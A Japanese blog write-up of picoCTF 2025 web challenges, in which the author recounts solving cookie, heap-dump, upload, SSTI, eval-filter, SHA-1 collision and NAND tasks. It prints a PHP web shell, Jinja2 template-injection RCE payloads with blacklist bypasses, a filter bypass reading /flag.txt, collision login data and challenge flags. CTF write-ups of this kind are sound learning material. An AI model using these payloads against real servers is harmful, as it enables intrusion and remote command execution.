はじめに
Works Human Intelligenceでエンジニアをしている kotenpan です。
picoCTF2025にWHIの有志でチーム参加しました。最終的に3810ポイントを獲得し、570位/10460チームという結果になりました。去年の年末からCTFに取り組み始めた初心者ですが、初心者ながらもかなり健闘できたのではないかと思います。CTFたのし~^^
復習もかねてpicoCTF2025のwriteupを書いていきます。人生で初めてwriteupを書くので、CTFつよつよお兄さんお姉さんの方々は温かい目で見守ってくださると幸いです。
量が多すぎると自分のやる気が低下してしまうので、この記事ではWeb Exploitationに絞って書きます。
Cryptography / Reverse Engineering / Binary Exploitation はこちら
解けた問題
[Easy] Cookie Monster Secret Recipe - 50pts
ログインできたら秘密のレシピを教えてくれるかも...
いろいろいじっている中で検証ツール内のCookieを確認したらsecret_recipeの値にcGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0U2MzRERkJCfQ%3D%3D
が入っていた。
base64でデコードしたらフラグが出てきた。
picoCTF{c00k1e_m0nster_l0ves_c00kies_E634DFBB}
[Easy] head-dump - 50pts
すごく凝ったUIだ、、、ちなみにJohn Doeは日本語で言う名無しの権兵衛的な名前。
ブログWebサイトの中からフラグを見つけ出す問題。問題文で「秘密のフラグが隠されているサーバーのメモリを保持するファイルを生成するエンドポイントを見つけることが目標です」と書いている。かなり丁寧。
いろいろリンクを押してると API Documentation のページが開かれ、/hexdump
エンドポイントの存在が判明する。 heapsnapshotファイルをダウンロードして手元で strings heapdump-1742292586061.heapsnapshot | grep "picoCTF{"
を実行したらフラグが出てきた。
picoCTF{Pat!3nt_15_Th3_K3y_46022a05}
[Easy] n0s4n1ty 1 - 100pts
お兄さんがファイルをアップロードして欲しそうにこちらを見ている。
熱い眼差しを感じたので、外部からコマンドが実行できるようなPHPを用意してアップロードする。
<?php
if (isset($_GET['cmd'])){
$cmd = $_GET['cmd'];
system($cmd);
}
?>
The file a.php has been uploaded Path: uploads/a.php
と表示される。
これでhttp://{host}:{port}/uploads/a.php?cmd=sudo ls /root
のように好きなコマンドを実行できるようになる。flagは/root/flag.txt
にあるのでcat
すれば勝ち。
picoCTF{wh47_c4n_u_d0_wPHP_80eedb7d}
[Easy] SSTI1 - 100pts
問題
Server-Side Template Injectionに関する問題
好きな文字を入れるとめちゃ大々的にアナウンスしてくれるらしい。
{{ 2*2 }}
を入れて実行すると 4
が出力されるので、テンプレートエンジンはJinja2であることが分かる。 SSTIについてよく知らなかったので調べてみると、CTFのWebセキュリティにおけるSSTIまとめ というサイトを見つけ参考にした。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -l').read()}}
でRCEしたら同じ階層にflag
という名前のファイルが見つかったので、コマンドをcat flag
に変えてRCEするとフラグ獲得できた。
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_eb0c6390}
[Medium] SSTI2 - 200pts
SSTI1と同じ問題だが、この問題は許可されていないワードが入力されると弾かれてしまう(ブラックリスト形式)。悪いことすると怒られちゃう >:(
参考:https://me-ankeet.medium.com/ctf-write-up-my-first-blog-tuctf-2023-ssti-sandbox-bypass-ee64b84c7104
os.popen()
__import__('os')
request
を呼び出せなさそうなので、subprocess.Popen
を使う事を目標に準備を進める。
Pythonのメソッド順序解決 (Method Resolution Order, MRO)「多重継承したクラスのメソッドが呼び出されるときに、どのメソッドがどういう順番で呼びだされるかが決められている」というものを利用。
{{().__class__.__base__.__subclasses__()}}
で利用可能なクラスのリストを出力させ、subprocess.Popen
のindexを特定すると、{{().__class__.__base__.__subclasses__().__getitem__(index番号) }}
のようにリストのindex経由でsubprocess.Popen
を呼び出せるようになる。
利用可能なクラスのリストを取得するペイロードはこれ:{{()|attr('\x5f\x5f\x63lass\x5f\x5f')|attr('\x5f\x5f\x62ase\x5f\x5f')|attr('\x5f\x5fsub\x63lasses\x5f\x5f')()}}
手元でPythonのコードを書いて subprocess.Popen
のindexが356であることを確認。これを利用して cat flag
を実行しようとすると、ペイロードは {{().__class__.__base__.__subclasses__().__getitem__(356)('cat flag',shell=True,stdout=-1).communicate()}}
になる。(flagが同じ階層にあるというのはSSTI1と同じ構造だと仮定している)
あとはブラックリストを回避するようペイロードを複雑化させると、{{()|attr('\x5f\x5f\x63lass\x5f\x5f')|attr('\x5f\x5f\x62ase\x5f\x5f')|attr('\x5f\x5fsub\x63lasses\x5f\x5f')()|attr('\x5f\x5f\x67etitem\x5f\x5f')(356)('cat flag',shell=True,stdout=-1)|attr('communicate')()}}
でフラグ獲得。
picoCTF{sst1_f1lt3r_byp4ss_eb2a60e7}
[Medium] 3v@l - 200pts
eval を使って計算してるらしい。脆弱~~
でも許されざるキーワードがいくつか存在するみたい。
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
open(/flag.txt).read()
をかましちゃえば勝ち。open(chr(47)+"fl"+"ag"+chr(46)+"tx"+"t").read()
でフラグ獲得。
picoCTF{D0nt_Use_Unsecure_f@nctionsa4121ed2}
[Medium] Apriti sesamo - 200pts
イタリア語で「開けゴマ」らしい。ログイン画面で煽られる。
「噂によると開発者はemacsユーザーらしい」というヒントから、emacsがバッグアップファイルを残している可能性がある。最後にチルダをつけた http://{host}:{port}/impossibleLogin.php~
にアクセスすると、ソースにPHPが出現する。
<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
このPHPを読み解くとログイン成功となる条件が分かる
- usernameのSHA1ハッシュ値とpasswordのSHA1ハッシュ値が同じだった場合にログインできる
- ただしusernameとpasswordは同じにしてはいけない
SHA1が衝突するようなものを探してみたら、こんなサイトが。
messageAとmessageBをバイナリ化してpostbodyを作ってPOSTしたらフラグゲット。
username=%99%04%0D%04%7F%E8%17%80%01%20%00%FFKey%20is%20part%20of%20a%20collision%21%20It%27s%20a%20trap%21y%C6%1A%F0%AF%CC%05E%15%D9%27Ns%07bK%1D%C7%FB%23%98%8B%B8%DE%8BW%5D%BA%7B%9E%AB1%C1gKm%97Cx%A8%27s%2F%F5%85%1Cv%A2%E6%07r%B5%A4%7C%E1%EA%C4%0B%B9%93%C1-%8Cp%E2JO%8D_%CD%ED%C1%B3%2C%9C%F1%9E1%AF%24%29u%9DB%E4%DF%DB1q%9FXv%23%EEU%299%B6%DC%DCE%9F%CASU%3Bp%F8~%DE0%A2G%EA%3A%F6%C7Y%A2%F2%0B2%0Dv%0D%B6O%F4y%08O%D3%CC%B3%CD%D4%83b%D9j%9CC%06%17%CA%FFl6%C67%E5%3F%DE%28A%7Fbo%ECT%EDyC%A4n_W0%F2%BB8%FB%1D%F6%E0%09%00%10%D0%0E%24%ADx%BF%92d%19%93%60%8E%8D%15%8Ax%9F4%C4o%E1%E6%02%7F5%A4%CB%FB%82pv%C5%0E%CA%0E%8B%7C%CAi%BB%2C%2By%02Y%F9%BF%95p%DD%8DD7%A3%11_%AF%F7%C3%CA%C0%9A%D2Rf%05%5C%27%10GU%17%8E%AE%FF%82Z%2C%AA%2A%CF%B5%DEd%CEvA%DCY%A5A%A9%FC%9CugV%E2%E2%3D%C7%13%C8%C2L%97%90%AAk%0E8%A7%F5_%14E%2A%1C%A2%85%0D%DD%95b%FD%9A%18%ADBIj%A9p%08%F7Fr%F6%8E%F4a%EB%88%B0%993%D6%26%B4%F9%18t%9C%C0%27%FD%DDlB_%C4%21h5%D0%13M%15%28%5B%AB%2C%B7%84%A4%F7%CB%B4%FBQMK%F0%F6%23%7C%F0%0A%9E%9F%13%2B%9A%06no%D1%7FlB%98txXo%F6Q%AF%96t%7F%B4%26%B9%87%2B%9A%88%E4%06%3FY%BB3L%C0%06P%F8%3A%80%C4%27Q%B7%19t%D3%00%FC%28%19%A2%E8%F1%E3%2C%1BQ%CB%18%E6%BF%C4%DB%9B%AE%F6u%D4%AA%F5%B1WJ%04%7F%8Fm%D2%EC%15%3A%93A%22%93%97M%92%8F%88%CE%D96%3C%FE%F9%7C%E2%E7B%BF4%C9k%8E%F3%87Vv%FE%A5%CC%A8%E5%F7%DE%A0%BA%B2A%3DM%E0%0E%E7%1E%E0%1F%16%2B%DBm%1E%AF%D9%25%E6%AE%BA%AEj5N%F1%7C%F2%05%A4%04%FB%DB%12%FCEMA%FD%D9%5C%F2E%96d%A2%AD%03-%1D%A6%0As%26%40u%D7%F1%E0%D6%C1%40%3A%E7%A0%D8a%DF%3F%E5pq%88%DD%5E%07%D1X%9B%9F%8Bf0U%3F%8F%C3R%B3%E0%C2%7D%A8%0B%DD%BALd%02%0D&pwd=%99%03%0D%04%7F%E8%17%80%01%18%00%FFPractical%20SHA-1%20chosen-prefix%20collision%21%1D%27lk%A6a%E1%04%0E%1F%7Dv%7F%07bI%DD%C7%FB3%2C%8B%B8%C2%B7W%5D%BE%C7%9E%AB%2B%E1gK%7D%B3Cx%B4%CBs%2F%E1%89%1Cv%A0%26%07r%A5%10%7C%E1%F6%E8%0B%B9%97%7D-%8ChRJO%9D_%CD%ED%CD%0B%2C%9C%E1%921%AF%26%E9u%9DRP%DF%DB-M%9FXr%9F%EEU3%19%B6%DC%CCa%9F%CAO%B9%3Bp%ECr%DE0%A0%87%EA%3A%E6sY%A2%EE%272%0Dr%B1%B6O%EC%C9%08O%C3%CC%B3%CD%D8%3Bb%D9z%90C%06%15%0A%FFl%26r7%E5%23%E2%28A%7B%DEo%ECN%CDyC%B4J_W%2C%1E%BB8%EF%11%F6%E0%0B%C0%10%D0%1E%90%ADx%A3%BEd%19%97%DC%8E%8D%0D%3Ax%9F%24%C4o%E1%EA%BA%7F5%B4%C7%FB%82r%B6%C5%0E%DA%BA%8B%7C%D6U%BB%2C%2F%C5%02Y%E3%9F%95p%CD%A9D7%BF%FD_%AF%E3%CF%CA%C0%98%12Rf%15%E8%27%10%5By%17%8E%AAC%82Z4%1A%2A%CF%A5%DEd%CEz%F9%DCY%B5M%A9%FC%9E%B5gV%F2V%3D%C7%0F%F4%C2L%93%2C%AAk%14%18%A7%F5O0E%2A%00N%85%0D%C9%99b%FD%98%D8%ADBY%DE%A9p%14%DBFr%F22%F4a%F38%B0%99%23%D6%26%B4%F5%A0t%9C%D0%2B%FD%DDn%82_%C41%DC5%D0%0Fq%15%28_%17%2C%B7%9E%84%F7%CB%A4%DFQMW%1C%F6%23h%FC%0A%9E%9D%D3%2B%9A%16%DAo%D1c%40B%98p%C4Xo%EE%E1%AF%96d%7F%B4%26%B5%3F%2B%9A%98%E8%06%3F%5B%7B3L%D0%B2P%F8%26%BC%C4%27U%0B%19t%C9%20%FC%28%09%86%E8%F1%FF%C0%1BQ%DF%14%E6%BF%C6%1B%9B%AE%E6%C1%D4%AA%E9%9DWJ%00%C3%8Fm%CA%5C%15%3A%83A%22%93%9B%F5%92%8F%98%C2%D96%3E%3E%F9%7C%F2SB%BF%28%F5k%8E%F7%3BVv%E4%85%CC%A8%F5%D3%DE%A0%A6%5EA%3DY%EC%0E%E7%1C%20%1F%16%3Bom%1E%B3%F5%25%E6%AA%06%AEj-%FE%F1%7C%E2%05%A4%04%F7c%12%FCUAA%FD%DB%9C%F2E%86%D0%A2%AD%1F%11%1D%A6%0E%CF%26%40o%F7%F1%E0%C6%E5%40%3A%FBL%D8a%CB3%E5psH%DD%5E%17eX%9B%83%A7f0Q%83%8F%C3J%03%E0%C2m%A8%0B%DD%B6%F4d%02%1D
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data-binary @postbody.txt http://verbal-sleep.picoctf.net:50765/impossibleLogin.php
picoCTF{w3Ll_d3sErV3d_Ch4mp_2d9f3447}
[Medium] Pachinko - 200pts
NANDシミュレータサイト。何度でも試せる。NANDだけに。
4ビットの入力をすべて反転する回路をNANDゲートのみで実装できればFLAGがゲットできるみたい。
curlで組み立てたjsonをPOSTしたらフラグが帰ってきた。
curl -X POST "http://{host}:{port}/check" \
-H "Content-Type: application/json" \
-d '{
"circuit": [
{ "input1": 5, "input2": 5, "output": 1 },
{ "input1": 6, "input2": 6, "output": 2 },
{ "input1": 7, "input2": 7, "output": 3 },
{ "input1": 8, "input2": 8, "output": 4 }
]}'
{"status":"success","flag":"picoCTF{p4ch1nk0_f146_0n3_e947b9d7}\n"}